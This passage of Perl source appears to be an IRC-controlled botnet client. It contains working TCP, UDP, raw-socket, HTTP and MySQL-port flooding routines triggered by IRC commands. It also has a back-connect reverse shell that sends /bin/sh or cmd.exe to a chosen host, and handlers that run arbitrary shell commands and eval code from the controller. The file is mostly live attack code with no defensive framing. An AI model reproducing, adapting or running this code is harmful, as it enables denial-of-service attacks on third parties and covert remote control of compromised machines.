               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 3TCP-SinGle 12:. 4| 12 Attacking  4 ".$1."  12 Port  4 ".$2."  12 with  4 ".$3."  12 Kb Packets for  4 ".$4."  12 seconds.");
      my ($dtime, %pacotes) = tcpflooder2("$1", "$2", "$3", "$4");                 
      $dtime = 1 if $dtime == 0;                                                   
               my %bytes;                                                          
               $bytes{tcp} = $3 * $pacotes{tcp};                                   
               $bytes{o} = $3 * $pacotes{o};                                       
      sendraw($ICUsocket, "PRIVMSG $printl : 4[ 4@ 3TCP-SinGle 12] 12  12Results 4 ".int(($bytes{tcp}+$bytes{o})/1024)."  12Kb in 4 ".$dtime."  12seconds to 4 ".$1.":".$2.".");
      }                                                                            
                                                                                   
   ######################                                                          
   #  End of TCPFlood   #                                                          
   ######################                                                          
                                                                                   
   ######################                                                          
   #     UDPFlood       #                                                          
   ######################                                                          
                                                                                   
            if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {                  
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 3UDP-DDoS 12:. 4| 12 Attacking  4 ".$1."  12 with  4 ".$2."  12 Kb Packets for  4 ".$3."  12 seconds.");
      my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");                        
      $dtime = 1 if $dtime == 0;                                                   
               my %bytes;                                                          
               $bytes{udp} = $2 * $pacotes{udp};                                   
               $bytes{o} = $2 * $pacotes{o};                                       
      sendraw($ICUsocket, "PRIVMSG $printl : 4[ 4@ 3UDP-DDoS 12] 12  12Results 4 ".int(($bytes{udp}+$bytes{o})/1024)."  12Kb in 4 ".$dtime."  12seconds to 4 ".$1.".");
        }                                                                          
                                                                                   
         if ($funcarg =~ /^udpsingle\s+(.*)\s+(\d+)\s+(\d+)\s+(\d+)/) {            
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 3UDP-SinGle 12:. 4| 12 Attacking  4 ".$1."  12 Port  4 ".$2."  12 with  4 ".$3."  12 Kb Packets for  4 ".$4."  12 seconds.");
      my ($dtime, %pacotes) = udpflooder2("$1", "$2", "$3", "$4");                 
      $dtime = 1 if $dtime == 0;                                                   
               my %bytes;                                                          
               $bytes{udp} = $3 * $pacotes{udp};                                   
               $bytes{o} = $3 * $pacotes{o};                                       
               sendraw($ICUsocket, "PRIVMSG $printl : 4[ 4@ 3UDP-SinGle 12] 12  12Results 4 ".int(($bytes{udp}+$bytes{o})/1024)."  12Kb in 4 ".$dtime."  12seconds to 4 ".$1.":".$2.".")
                                                                                   
        }                                                                          
   ######################                                                          
   #  End of  UDPFlood  #                                                          
   ######################                                                          
                                                                                   
   ######################                                                          
   #     MEGAFlood      #                                                          
   ######################                                                          
            if ($funcarg =~ /^megaflood\s+(.*)\s+(\d+)\s+(\d+)/) {                 
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 3MEGA-DDoS 12:. 4| 12 Attacking  4 ".$1."  12 with  4 ".$2."  12 Kb Packets for  4 ".$3."  12 seconds.");
               my ($dtime, %pacotes) = megaflooder("$1", "$2", "$3");              
               $dtime = 1 if $dtime == 0;                                          
               my %bytes;                                                          
               $bytes{igmp} = $2 * $pacotes{igmp};                                 
               $bytes{icmp} = $2 * $pacotes{icmp};                                 
               $bytes{o} = $2 * $pacotes{o};                                       
               $bytes{udp} = $2 * $pacotes{udp};                                   
               $bytes{tcp} = $2 * $pacotes{tcp};                                   
               sendraw($ICUsocket, "PRIVMSG $printl : 4[ 4@ 3MEGA-DDoS 12] 12  12Results 4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)."  12Kb in 4 ".$dtime."  12seconds to 4 ".$1.".");
            }                                                                      
                                                                                   
            if ($funcarg =~ /^megasingle\s+(.*)\s+(\d+)\s+(\d+)\s+(\d+)/) {        
            sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 3MEGA-SinGle 12:. 4| 12 Attacking  4 ".$1.":".$2."  12 with  4 ".$3."  12 Kb Packets for  4 ".$4."  12 seconds.");
            my ($dtime, %pacotes) = megaflooder2("$1", "$2", "$3", "$4");          
               $dtime = 1 if $dtime == 0;                                          
               my %bytes;                                                          
               $bytes{igmp} = $2 * $pacotes{igmp};                                 
               $bytes{icmp} = $2 * $pacotes{icmp};                                 
               $bytes{o} = $2 * $pacotes{o};                                       
               $bytes{udp} = $2 * $pacotes{udp};                                   
               $bytes{tcp} = $2 * $pacotes{tcp};                                   
               sendraw($ICUsocket, "PRIVMSG $printl : 4[ 4@ 3MEGA-SinGle 12] 12  12Results 4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)."  12Kb in 4 ".$dtime."  12seconds to 4 ".$1.":".$2.".");
            }                                                                      
                                                                                   
                                                                                   
   ######################                                                          
   #  End of Megaflood  #                                                          
   ######################                                                          
                                                                                   
   ######################                                                          
   #    SQL Fl00dEr     #                                                          
   ######################                                                          
   if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {                                   
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3SQL-DDOS 12] Attacking   4 ".$1."  12 on port 3306 for  4 ".$2."  12 seconds  .");
   my $itime = time;                                                               
   my ($cur_time);                                                                 
   $cur_time = time - $itime;                                                      
   while ($2>$cur_time){                                                           
   $cur_time = time - $itime;                                                      
      my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
      print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
   close($socket);                                                                 
   }                                                                               
   sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3SQL-DDOS 12] Attacking done   4 ".$1.".");
   }                                                                               
   ######################                                                          
   # End of SQL Fl00dEr #                                                          
   ######################                                                          
                                                                                   
   ######################                                                          
   #   Back Connect     #                                                          
   ######################                                                          
            if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {                              
               my $host = "$1";                                                    
               my $porta = "$2";                                                   
               my $proto = getprotobyname('tcp');                                  
               my $iaddr = inet_aton($host);                                       
               my $paddr = sockaddr_in($porta, $iaddr);                            
               my $shell = "/bin/sh -i";                                           
               if ($^O eq "MSWin32") {                                             
                  $shell = "cmd.exe";                                              
               }                                                                   
               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";   
               connect(SOCKET, $paddr) or die "connect: $!";                       
               open(STDIN, ">&SOCKET");                                            
               open(STDOUT, ">&SOCKET");                                           
               open(STDERR, ">&SOCKET");                                           
               system("$shell");                                                   
               close(STDIN);                                                       
               close(STDOUT);                                                      
               close(STDERR);                                                      
               if ($estatisticas){                                                 
                  sendraw($ICUsocket, "PRIVMSG $printl : 12[ 4@ 3Back-Connect 12] Connecting to  4 $host:$porta");
               }                                                                   
            }                                                                      
   ######################                                                          
   #End of  Back Connect#                                                          
   ######################                                                          
                                                                                   
   ######################                                                          
   #     HTTPFlood      #                                                          
   ######################                                                          
            if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {                         
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 3HTTP DDoS 12:. 4| 12 Attacking  4 ".$1."  12 on port 80 for  4 ".$2."  12 seconds .");
               my $itime = time;                                                   
               my ($cur_time);                                                     
               $cur_time = time - $itime;                                          
               while ($2>$cur_time){                                               
                  $cur_time = time - $itime;                                       
                  my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
                  print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
                  close($socket);                                                  
               }                                                                   
               sendraw($ICUsocket, "PRIVMSG $printl : 4| 12.: 3HTTP DDoS 12:. 4| 12 Attacking done  4 ".$1.".");
            }                                                                      
   ######################                                                          
   #  End of HTTPFlood  #                                                          
   ######################                                                          
            exit;                                                                  
            }                                                                      
         }                                                                         
      }                                                                            
                                                                                   
   sub icase {                                                                     
      my ($kem, $printl, $case) = @_;                                              
      if ($case =~ /^join (.*)/) {                                                 
         j("$1");                                                                  
      }                                                                            
      if ($case =~ /^part (.*)/) {                                                 
         p("$1");                                                                  
      }                                                                            
      if ($case =~ /^rejoin\s+(.*)/) {                                             
         my $chan = $1;                                                            
         if ($chan =~ /^(\d+) (.*)/) {                                             
            for (my $ca = 1; $ca <= $1; $ca++ ) {                                  
               p("$2");                                                            
               j("$2");                                                            
            }                                                                      
         } else {                                                                  
            p("$chan");                                                            
            j("$chan");                                                            
         }                                                                         
      }                                                                            
                                                                                   
      if ($case =~ /^op/) {                                                        
         op("$printl", "$kem") if $case eq "op";                                   
         my $oarg = substr($case, 3);                                              
         op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);                             
      }                                                                            
                                                                                   
      if ($case =~ /^deop/) {                                                      
         deop("$printl", "$kem") if $case eq "deop";                               
         my $oarg = substr($case, 5);                                              
         deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);                           
      }                                                                            
                                                                                   
      if ($case =~ /^msg\s+(\S+) (.*)/) {                                          
         msg("$1", "$2");                                                          
      }                                                                            
                                                                                   
      if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {                                
         for (my $cf = 1; $cf <= $1; $cf++) {                                      
            msg("$2", "$3");                                                       
         }                                                                         
      }                                                                            
                                                                                   
      if ($case =~ /^ctcp\s+(\S+) (.*)/) {                                         
         ctcp("$1", "$2");                                                         
      }                                                                            
                                                                                   
      if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {                            
         for (my $cf = 1; $cf <= $1; $cf++) {                                      
            ctcp("$2", "$3");                                                      
         }                                                                         
      }                                                                            
                                                                                   
      if ($case =~ /^nick (.*)/) {                                                 
         nick("$1");                                                               
      }                                                                            
                                                                                   
      if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {                                   
         conectar("$2", "$1", 6667);                                               
      }                                                                            
                                                                                   
      if ($case =~ /^raw (.*)/) {                                                  
         sendraw("$1");                                                            
      }                                                                            
                                                                                   
      if ($case =~ /^eval (.*)/) {                                                 
         eval "$1";                                                                
      }                                                                            
   }                                                                               
                                                                                   
   sub get_html() {                                                                
   $test=$_[0];                                                                    
                                                                                   
         $ip=$_[1];                                                                
         $port=$_[2];                                                              
                                                                                   
   my $req=HTTP::Request->new(GET=>$test);                                         
   my $ua=LWP::UserAgent->new();                                                   
   if(defined($ip) && defined($port)) {                                            
         $ua->proxy("http","http://$ip:$port/");                                   
         $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");         
   }                                                                               
   $ua->timeout(1);                                                                
   my $response=$ua->request($req);                                                
   if ($response->is_success) {                                                    
      $re=$response->content;                                                      
   }                                                                               
   return $re;                                                                     
   }                                                                               
                                                                                   
   sub addproc {                                                                   
                                                                                   
      my $proc=$_[0];                                                              
      my $dork=$_[1];                                                              
                                                                                   
      open(FILE,">>/var/tmp/pids");                                                
      print FILE $proc." [".$iconns{$ICUsocket}{'nick'}."] $dork\n";               
      close(FILE);                                                                 
   }                                                                               
                                                                                   
                                                                                   
   sub delproc {                                                                   
                                                                                   
      my $proc=$_[0];                                                              
      open(FILE,"/var/tmp/pids");                                                  
                                                                                   
      while() {                                                              
         $_ =~ /(\d+)\s+(.*)/;                                                     
         $childs{$1}=$2;                                                           
      }                                                                            
      close(FILE);                                                                 
      delete($childs{$proc});                                                      
                                                                                   
      open(FILE,">/var/tmp/pids");                                                 
                                                                                   
      for $klucz (keys %childs) {                                                  
         print FILE $klucz." ".$childs{$klucz}."\n";                               
      }                                                                            
   }                                                                               
                                                                                   
   sub shell {                                                                     
      my $printl=$_[0];                                                            
      my $comando=$_[1];                                                           
      if ($comando =~ /cd (.*)/) {                                                 
         chdir("$1") || msg("$printl", "No such file or directory");               
         return;                                                                   
      } elsif ($pid = fork) {                                                      
         waitpid($pid, 0);                                                         
      } else {                                                                     
         if (fork) {                                                               
            exit;                                                                  
         } else {                                                                  
            my @resp=`$comando 2>&1 3>&1`;                                         
            my $c=0;                                                               
            foreach my $linha (@resp) {                                            
               $c++;                                                               
               chop $linha;                                                        
               sendraw($ICUsocket, "PRIVMSG $printl :$linha");                     
               if ($c == "$linas_max") {                                           
                  $c=0;                                                            
                  sleep $aspetta;                                                  
               }                                                                   
            }                                                                      
            exit;                                                                  
         }                                                                         
      }                                                                            
   }                                                                               
                                                                                   
   sub tcpflooder {                                                                
      my $iaddr = inet_aton($_[0]);                                                
      my $msg = 'A' x $_[1];                                                       
      my $ftime = $_[2];                                                           
      my $cp = 0;                                                                  
      my (%pacotes);                                                               
      $pacotes{o} = $pacotes{tcp} = 0;                                             
      my $proto = getprotobyname('tcp');                                           
      socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or $cp++;                       
      return(undef) if $cp == 1;                                                   
      my $itime = time;                                                            
      my ($cur_time);                                                              
      while ( 1 ) {                                                                
      for (my $porta = 1; $porta <= 65000; $porta++) {                             
         $cur_time = time - $itime;                                                
            last if $cur_time >= $ftime;                                           
            send(SOCKET, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
            for (my $pc = 1; $pc <= 255;$pc++) {                                   
               $cur_time = time - $itime;                                          
               last if $cur_time >= $ftime;                                        
               socket(SOCKET1, PF_INET, SOCK_STREAM, $pc) or next;                 
               send(SOCKET1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; 
            }                                                                      
         }                                                                         
         last if $cur_time >= $ftime;                                              
      }                                                                            
      return($cur_time, %pacotes);                                                 
   }                                                                               
                                                                                   
   sub tcpflooder2 {                                                               
     my $iaddr = inet_aton($_[0]);                                                 
     my $porta = $_[1];                                                            
     my $msg = 'A' x $_[2];                                                        
       my $ftime = $_[3];                                                          
       my $cp = 0;                                                                 
       my (%pacotes);                                                              
      $pacotes{o} = $pacotes{tcp} = 0;;                                            
       my $proto = getprotobyname('tcp');                                          
       socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or $cp++;                      
       return(undef) if $cp == 1;                                                  
       my $itime = time;                                                           
       my ($cur_time);                                                             
       while ( 1 ) {                                                               
       for (my $sw = 1; $sw <= 65000; $sw++) {                                     
         $cur_time = time - $itime;                                                
            last if $cur_time >= $ftime;                                           
            send(SOCKET, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
       for (my $pc = 1; $pc <= 255;$pc++) {                                        
               $cur_time = time - $itime;                                          
               last if $cur_time >= $ftime;                                        
               socket(SOCKET1, PF_INET, SOCK_STREAM, $pc) or next;                 
               send(SOCKET1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; 
            }                                                                      
         }                                                                         
         last if $cur_time >= $ftime;                                              
      }                                                                            
      return($cur_time, %pacotes);                                                 
   }                                                                               
                                                                                   
   sub udpflooder  {                                                               
      my $iaddr = inet_aton($_[0]);                                                
      my $msg = 'A' x $_[1];                                                       
      my $ftime = $_[2];                                                           
      my $cp = 0;                                                                  
      my (%pacotes);                                                               
      $pacotes{udp} = $pacotes{o} = 0;                                             
      socket(SOCKET, PF_INET, SOCK_DGRAM, 17) or $cp++;                            
      return(undef) if $cp == 1;                                                   
      my $itime = time;                                                            
      my ($cur_time);                                                              
      while ( 1 ) {                                                                
      for (my $porta = 1; $porta <= 65000; $porta++) {                             
         $cur_time = time - $itime;                                                
            last if $cur_time >= $ftime;                                           
            send(SOCKET, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
            for (my $pc = 1; $pc <= 255;$pc++) {                                   
            next if $pc == 17;                                                     
               $cur_time = time - $itime;                                          
               last if $cur_time >= $ftime;                                        
               socket(SOCKET2, PF_INET, SOCK_DGRAM, $pc) or next;                  
               send(SOCKET2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; 
            }                                                                      
         }                                                                         
         last if $cur_time >= $ftime;                                              
      }                                                                            
      return($cur_time, %pacotes);                                                 
    }                                                                              
                                                                                   
    sub udpflooder2  {                                                             
      my $iaddr = inet_aton($_[0]);                                                
      my $porta = $_[1];                                                           
      my $msg = 'A' x $_[2];                                                       
      my $ftime = $_[3];                                                           
      my $cp = 0;                                                                  
      my (%pacotes);                                                               
      $pacotes{udp} = $pacotes{o} = 0;                                             
      socket(SOCKET, PF_INET, SOCK_DGRAM, 17) or $cp++;                            
      return(undef) if $cp == 1;                                                   
      my $itime = time;                                                            
      my ($cur_time);                                                              
      while ( 1 ) {                                                                
      for (my $sw = 1; $sw <= 65000; $sw++) {                                      
         $cur_time = time - $itime;                                                
            last if $cur_time >= $ftime;                                           
            send(SOCKET, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
            for (my $pc = 1; $pc <= 255;$pc++) {                                   
            next if $pc == 17;                                                     
               $cur_time = time - $itime;                                          
               last if $cur_time >= $ftime;                                        
               socket(SOCKET2, PF_INET, SOCK_DGRAM, $pc) or next;                  
               send(SOCKET2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; 
            }                                                                      
         }                                                                         
         last if $cur_time >= $ftime;                                              
      }                                                                            
      return($cur_time, %pacotes);                                                 
    }                                                                              
                                                                                   
                                                                                   
   sub megaflooder {                                                               
      my $iaddr = inet_aton($_[0]);                                                
      my $msg = 'A' x $_[1];                                                       
      my $ftime = $_[2];                                                           
      my $cp = 0;                                                                  
      my (%pacotes);                                                               
      $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
      socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;                                
      socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;                             
      socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;                                
      socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;                                
      return(undef) if $cp == 4;                                                   
      my $itime = time;                                                            
      my ($cur_time);                                                              
      while ( 1 ) {                                                                
         for (my $porta = 1; $porta <= 65000; $porta++) {                          
            $cur_time = time - $itime;                                             
            last if $cur_time >= $ftime;                                           
            send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
            send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; 
            send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
            send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; 
            for (my $pc = 3; $pc <= 255;$pc++) {                                   
               next if $pc == 6;                                                   
               $cur_time = time - $itime;                                          
               last if $cur_time >= $ftime;                                        
               socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;                      
               send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
            }                                                                      
         }                                                                         
         last if $cur_time >= $ftime;                                              
      }                                                                            
      return($cur_time, %pacotes);                                                 
   }                                                                               
                                                                                   
   sub megaflooder2 {                                                              
      my $iaddr = inet_aton($_[0]);                                                
      my $porta = $_[1];                                                           
      my $msg = 'A' x $_[2];                                                       
      my $ftime = $_[3];                                                           
      my $cp = 0;                                                                  
      my (%pacotes);                                                               
      $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
      socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;                                
      socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;                             
      socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;                                
      socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;                                
      return(undef) if $cp == 4;                                                   
      my $itime = time;                                                            
      my ($cur_time);                                                              
      while ( 1 ) {                                                                
         for (my $ae = 1; $ae <= 65000; $ae++) {                                   
            $cur_time = time - $itime;                                             
            last if $cur_time >= $ftime;                                           
            send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
            send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; 
            send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
            send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; 
            for (my $pc = 3; $pc <= 255;$pc++) {                                   
               next if $pc == 6;                                                   
               $cur_time = time - $itime;                                          
               last if $cur_time >= $ftime;                                        
               socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;                      
               send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
            }                                                                      
         }                                                                         
         last if $cur_time >= $ftime;                                              
      }                                                                            
      return($cur_time, %pacotes);                                                 
   }                                                                               
                                                                                   
   sub ctcp {                                                                      
      return unless $#_ == 1;                                                      
      sendraw("PRIVMSG $_[0] :\001$_[1]\001");                                     
   }                                                                               
                                                                                   
   sub msg {                                                                       
      return unless $#_ == 1;                                                      
      sendraw("PRIVMSG $_[0] :$_[1]");                                             
   }                                                                               
                                                                                   
   sub notice {                                                                    
      return unless $#_ == 1;                                                      
      sendraw("NOTICE $_[0] :$_[1]");                                              
   }                                                                               
                                                                                   
   sub op {                                                                        
      return unless $#_ == 1;                                                      
      sendraw("MODE $_[0] +o $_[1]");                                              
   }                                                                               
                                                                                   
   sub deop {                                                                      
      return unless $#_ == 1;                                                      
      sendraw("MODE $_[0] -o $_[1]");                                              
   }                                                                               
                                                                                   
   sub j {                                                                         
      &join(@_);                                                                   
   }                                                                               
                                                                                   
   sub join {                                                                      
      return unless $#_ == 0;                                                      
      sendraw("JOIN $_[0]");                                                       
   }                                                                               
                                                                                   
   sub p {                                                                         
      part(@_);                                                                    
   }                                                                               
                                                                                   
   sub part {                                                                      
      sendraw("PART $_[0]");                                                       
   }                                                                               
                                                                                   
   sub nick {                                                                      
      return unless $#_ == 0;                                                      
      sendraw("NICK $_[0]");                                                       
   }                                                                               
                                                                                   
   sub quit {                                                                      
      sendraw("QUIT :$_[0]");                                                      
   }                                                                               
                                                                                   
   --xYzZY--